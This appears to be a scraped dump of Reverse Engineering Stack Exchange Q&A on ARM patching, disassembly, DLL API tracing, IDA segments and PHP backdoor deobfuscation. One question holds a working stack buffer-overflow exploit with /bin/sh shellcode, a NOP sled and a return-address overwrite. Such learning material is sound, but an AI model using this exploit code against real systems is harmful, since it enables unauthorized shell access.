<li>You could use the text of a rarely used error message for your code cave. Replace "ThisIsALongErrorMessage\0" with "LongError\0" and you've gained some bytes, at the expense of the clarity of an error message you're never likely to see anyway. This is a bit harder, since your text is probably in some section that isn't marked executable, and you'll have to fiddle with the ELF headers to fix this.</li>
</ul>
|
9092
|
2015-06-08T10:34:36.563
|
<p>Basically I want to replace <code>MOVS R1, #0x0</code> with <code>MOV.W R1, #0x123</code>, since later instruction requires 4 bytes it is impossible to simply replace in HEX code.</p>
<p>I am using IDA Pro for analyzing native android library. I read about codecaves but my text segment don't have free space to add new data.</p>
<p>Since i'm newbie to this, any tutorials are welcome.</p>
|
Replacing small length instruction with larger length instruction
|
|ida|android|arm|hex|patching|
|
<p>You're missing the fact that you're working in THUMB mode, where you have two bytes per instruction (for most instructions at least), and that link describes ARM mode, where every instruction has 4 bytes.</p>
<p>(How do i know you're in THUMB mode? Apart from your last question, your <code>0x60ECE B loc_60EE6</code> isn't 4-byte aligned, so it must be THUMB).</p>
<p>If you add 4 bytes to the instruction at <code>loc_60ECE</code>, you get <code>0x60ED2</code>. Subtract this from <code>60EE6</code> to get <code>14</code>, or 20 decimal. Divide by 2 (2 byte instructions in THUMB mode) to get <code>10</code> decimal, or <code>0A</code> hex.</p>
<p>As calculating offsets can be hard and is error-prone, i let the gnu arm assembler handle it for me. First write an assembly file, like this (named q.s, choose any name you want):</p>
<pre><code>.thumb
.arch armv7a
.syntax unified
.org 0x60ECE
B codecave
original:
.org 0x60EE6
codecave:
movw R2, #0x123
B original
</code></pre>
<p>then assemble it and check the result:</p>
<pre><code>arm-linux-gnueabi-as q.s
arm-linux-gnueabi-objdump -s a.out | grep -v "00000000 00000000 00000000 00000000"
Contents of section .text:
60ec0 00000000 00000000 00000000 00000ae0 ................
60ee0 00000000 000040f2 2312f1e7 ......@.#...
</code></pre>
<p>You see your <code>0ae0</code> at <code>60ece</code>, and <code>40f22312f1e7</code> at <code>60ee6</code>. You can patch this in IDA directly, or use the <a href="https://thesprawl.org/projects/ida-patcher/" rel="nofollow">idapatcher plugin</a> to copy/paste the hex. I found this to be much easier than crafting the patched bytes manually.</p>
|
9094
|
2015-06-08T12:42:16.737
|
<p>As the title says, how to calculate offsets for branch instructions?
For example i have following assembly code,</p>
<pre><code>0x60ECE B loc_60EE6
;
;
;
0x60EE6 LDR.W R2, #0x123
</code></pre>
<p>Hex code for location <code>0x60ECE</code> is <code>0A E0</code>. i want to know how it is calculated. According to <a href="https://stackoverflow.com/questions/6744661/understanding-arm-assembler-branch-offset-calculation">https://stackoverflow.com/questions/6744661/understanding-arm-assembler-branch-offset-calculation</a> , offset should be <code>04</code> instead of <code>0A</code>.</p>
<p>I'm working on android binary.</p>
|
Offset calculation for branch instruction in ARM
|
|ida|android|arm|offset|
|
<p>You may want to read up on assembly before attempting to reverse engineer.</p>
<ol>
<li><p><code>esi</code> and <code>edi</code> are pushed on the stack because the compiler thought this routine modifies them. (It is wrong because only <code>edi</code> is used. Still, better safe than sorry.)</p></li>
<li><p><code>mov eax,0cccccccch</code> moves the value 0CCCCCCCCh into register eax. Which is actually kind of self-explanatory. That instruction in itself does nothing particularly useful, and you should be careful to ask such questions. It is clear from the <em>next lines</em> that the value gets stored into the Local Variable area, to fill it with a 'known' value, rather than having random values.</p>
<p>The value 0CCCCCCCCh is used as a <a href="https://stackoverflow.com/questions/17644418/why-is-the-stack-filled-with-0xcccccccc">sentinel value</a> and so if the context is "it gets stored somewhere", then its purpose is to catch uninitialized pointers.</p></li>
<li><p>Again, time for an assembly refresher. The first highlighted line</p>
<pre><code>add esp, 4
</code></pre>
<p>is not part of the following instructions, it's Stack Cleanup for the <em>previous</em> instruction: the <code>call</code>.</p>
<p>The lines <code>mov [ebp+var_E0], eax</code> and <code>cmp [ebp+var_E0], 0</code> have nothing to do at all with any kind of "allocation" or "memory"! All it does is save <code>eax</code> – the return value of the previous <code>call</code> – into a local variable, and then test if the value is 0. That is boilerplate generated code for</p>
<pre><code>var_E0 = new (uint);
if (var_E0 == 0)
...
</code></pre>
<p>which is the only 'check' there is, and only <em>after</em> attempting to allocate, not before.</p></li>
<li><p>'Blue node': the code in assembler does what the C++ code is supposed to do. It <em>allocated</em> space for a single integer before (the <code>push 4</code> in the call to <code>new</code>) and in the blue node, it <em>stores</em> the value 255 into the newly allocated memory. If you expected it to allocate 255 bytes: well no. It does what the C++ code is supposed to do, which is explained in <a href="https://stackoverflow.com/questions/13797926/what-does-new-int100-do">What does "new int(100)" do?</a> and the question of which it is marked a duplicate.</p></li>
</ol>
|
9099
|
2015-06-09T07:32:33.400
|
<p>I compile this code with Visual studio 2010 compiler:</p>
<pre><code>#include "stdafx.h"
#include <iostream>
int main() {
int *p;
p = new int(255);
delete []p;
}
</code></pre>
<p>The disassembly of it, is different from Dev C++. It seems it first checks if there is enough memory and then start the allocation. am I right?</p>
<p>This is the disassembly : </p>
<p><img src="https://i.stack.imgur.com/jMZjB.jpg" alt="enter image description here"></p>
<p>In the Orange node:</p>
<p>Why <code>esi</code> and <code>edi</code> pushed to the stack?
I've seen <code>mov eax,0CCCCCCCCh</code> before in books, What does this instruction do?
What does the highlighted part of the orange node do? Is it a check to see if there is enough available memory?</p>
<p>In the blue node:</p>
<p><code>FFh</code> is equal to <code>255</code>, Can you explain how the memory is getting allocated?</p>
|
Visual studio memory allocation reverse engineering
|
|disassembly|binary-analysis|c++|static-analysis|compilers|
|
<p>My first recommendation would be to contact the vendor and ask them your questions. You paid for the product and its SDK, so if the latter is not usable, they should offer support to you.</p>
<p>As for monitoring DLL function calls, I'd recommend using <a href="http://www.rohitab.com/apimonitor" rel="nofollow noreferrer">API Monitor</a> and its <em>External DLL Filter</em> functionality. It won't solve everything for you since you'd still need to figure out how many arguments are expected for each DLL function (you can extract that information with IDA), but I think it'll get you 90% of the way there.</p>
<p><img src="https://i.stack.imgur.com/ObEU0.png" alt="enter image description here"></p>
|
9117
|
2015-06-10T22:01:21.820
|
<p>I'm working on a sensor with <a href="http://en.wikipedia.org/wiki/Peripheral_Sensor_Interface_5" rel="nofollow">PSI5</a> interface and I'm using <a href="http://www.seskion.de/wwwpub/produkte/psi5/simulyzer.php?lang=en/" rel="nofollow">PSI Simulyzer</a> box to simulate the environment during testing. This box comes with a <a href="http://www.seskion.de/images/PSI5Simulyzer1_4.jpg" rel="nofollow">software</a> (some sort of digital oscilloscope) to make the measurements, but API header files and libraries are also provided. My intent is to use this API to automate non-regression test measurements.</p>
<p>This API is very poorly documented - it's basically a doxygen generated from the header file. I'm trying to guess the missing details, but some things just won't work in my software. Namely, I don't seem to be able to switch between synchronous and asynchronous modes, while the original software has a drop-down which works just fine.</p>
<p>I decided to analyze the original software by placing breakpoints to several (about 20) DLL functions which seem to be related to configuration in Visual Studio debugger, and note which of these functions are called, and with which arguments. I didn't succeed so far - when I call the same functions with the same arguments on my side, communication mode won't change.</p>
<p>Here's what I think causes my approach to fail:</p>
<ol>
<li>I didn't set the breakpoints to all functions (there are about 100 of them)</li>
<li>I didn't analyze the calls from the beginning. Maybe there is some sort of pre-config sequence which I'm missing.</li>
<li>Some functions take pointer arguments (e.g. <code>int16_t *config</code>) and I have no idea how many bytes I need to provide them. Maybe they point to structures with more pointers inside, which I cannot guess.</li>
</ol>
<p>I see how to overcome issues 1 and 2, but doing such extended analysis by hand is too time-consuming. Is there a way to automate the process of setting breakpoints to all functions of a DLL, and log the arguments when these functions are called? Maybe there is a debugger more adapted to this task than Visual Studio?</p>
|
How to analyse a poorly documented DLL API?
|
|debugging|c++|dll|
|
<p>When compiling I did not disable the stack smashing protection. Compiling with -z execstack fixed this. </p>
|
9125
|
2015-06-12T21:12:58.343
|
<p>I'm following the video here: <a href="https://www.youtube.com/watch?v=N0DBu3TGejI" rel="nofollow noreferrer">https://www.youtube.com/watch?v=N0DBu3TGejI</a></p>
<p>ExploitMe.c</p>
<pre><code>#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
strcpy(buffer, argv[1]);
return 1;
}
</code></pre>
<p>HackYou.c</p>
<pre><code>#include<stdio.h>
#include<stdlib.h>
#include<string.h>
// shellcode ripped from http://www.milw0rm.com/shellcode/444
char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x99" // cltd
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
char retaddr[] = "\x08\xf3\xff\xbf";
#define NOP 0x90
main()
{
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG=", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+88, retaddr, 4);
memcpy(buffer+92, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}
</code></pre>
<p>I run ./HackYou, in that environment there is an enviroment variable named $EGG that is used as an argument to the ExploitMe.c. $EGG contains: 24 bytes shell code, 60 bytes nop, and 4 bytes to override the RET address for a total of 88 bytes (Buffer + EBP + RET)</p>
<p>This screenshot contains the information you need to know:</p>
<p><img src="https://i.stack.imgur.com/nGGCm.png" alt="enter image description here"></p>
<p>On ExploitMe.c, I break on line 8. The first thing I print is the stack. 0x00881d36 is the RET address. </p>
<p>Then I print argv<a href="https://i.stack.imgur.com/nGGCm.png" rel="nofollow noreferrer">1</a>, as you can see it is 22 words. It will overwrite the Buffer+EBP+RET exactly. The start of the buffer variable is at 0xbffff308 (ESP+8), so I add that into the end of the payload. </p>
<p>Then I step. The RET has been perfectly overwritten with the buffer memory address.</p>
<p>It should return to the beginning of the buffer and start executing my shell code. All seems fine to me, but instead of giving me a shell, it gives me a segmentation fault. </p>
<p>What's going on? </p>
<p>Thank you.</p>
|
Beginner buffer overflow - why isn't my shellcode executing?
|
|buffer-overflow|shellcode|
|
<p>If the architecture is 32-bit, every address must be 4 bytes so the function address you mentioned is not exception. but as high order 00 is not valuable (in math) it is not normally mentioned:</p>
<p><em>0x0041a82f --> 0x41a82f</em></p>
<p>You must overwrite your address in 4 bytes with former 00. but in many cases (especially string base overflow) it is a problem called "bad char", cause payload corruption. you have to fix this problem too.
Good Luck!</p>
|
9129
|
2015-06-13T23:07:25.087
|
<p>I have an issue. The address for a function that I need to overwrite the RET to (buffer overflow) is only 3 bytes. However, I need 4 bytes to overwrite the RET exactly. What do I do?</p>
|
Address is 3 bytes - need 4 bytes to overwrite RET
|
|buffer-overflow|
|
<p>I solved this issue by creating a new section in IDA Pro (<strong>File -> Segments -> Create segment</strong>). After that I dumped new section in OllyDBG (binary copy) and transferred it to the new created section in IDA Pro (with a Python script). After that I could analyse the code and write comments in IDA to make better analysis and documentation.</p>
|
9140
|
2015-06-15T12:40:11.150
|
<p>I'm analysing some malware executable with ImmDBG and IDA Pro.</p>
<p>The executable calls the <em>kernel32.VirtualAlloc()</em> at runtime with an argument <em>lpAddress=NULL</em> what means that an operating system decides itself where the memory has to be allocated. The <em>VirtualAlloc()</em> returns an address 0x003F0000. After that the executable writes some function to this memory, which is quite big, and I would like to analyse this function in IDA Pro.</p>
<p>The problem is, that my executable is loaded to the 0x004010000 in IDA Pro
and I don't know how could I extend the memory of the executable in IDA Pro in order to create this function manually(with help of PatchBytes).</p>
<p>Also maybe it's possible somehow to build a function from a sequence of opcodes in IDA Pro?</p>
<p>Thank you in advance!</p>
|
How can I extend a memory of an analysed executable in IDA Pro?
|
|ida|disassembly|malware|anti-debugging|immunity-debugger|
|
<p>I wrote a small Python script to deobfuscate the majority of the string obfuscation:</p>
<pre><code>import urllib
import re
php = urllib.urlopen("http://pastebin.com/raw.php?i=wVs8w44v").read()
# Slight modification below so that we don't escape $
z26 = "jmiO@sxhFnD>J\r/u+RcHz3}g\nd{^8 ?eVwl_T\\\t|N5q)LobU]40!p%,rC-97k<'y=W:P$1BI&S6\"E(K`Y~.Q;f[v2a#X*ZAGtM"
# Decode all $z26[...] strings
for i in range(len(z26)):
php = php.replace("$z26[" + str(i) + "]", "\"" + z26[i] + "\"")
# Concatenate decoded strings
php = php.replace("\".\"", "")
# Replace all $GLOBALS[...]
globals = {}
for m in re.finditer("\$GLOBALS\['(?P<key>\w+?)'\] = \"(?P<value>.*?)\";", php):
globals[m.group("key")] = m.group("value")
php = re.sub(" \$GLOBALS\['(?P<key>\w+?)'\] = \"(?P<value>.*?)\";", "", php)
for key in globals.keys():
php = php.replace("$GLOBALS['" + key + "']", globals[key])
print php
</code></pre>
<p>I then formatted the output with <a href="http://phpbeautifier.com/">http://phpbeautifier.com/</a> and stored the results at <a href="http://pastebin.com/p7Tmvq4e">http://pastebin.com/p7Tmvq4e</a>.</p>
<p>The only major thing left to do is to rename the functions and arguments, but that can't be easily automated. I think the content at <a href="http://pastebin.com/p7Tmvq4e">http://pastebin.com/p7Tmvq4e</a> should meet your needs, though!</p>
|
9143
|
2015-06-15T17:08:15.660
|
<p>I found this backdoor on a client's website. </p>
<p><a href="http://pastebin.com/wVs8w44v">http://pastebin.com/wVs8w44v</a> (original format)</p>
<p><a href="http://pastebin.com/acfx49QJ">http://pastebin.com/acfx49QJ</a> (semi - readable)</p>
<p>I have gotten rid of it and realise it's an obfuscated script but how can I deobfuscate it in order to get to the root of this matter and understand the motive behind this attack better?</p>
<p>Thanks!</p>
|
How can I decode this php code?
|
|decryption|deobfuscation|php|
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.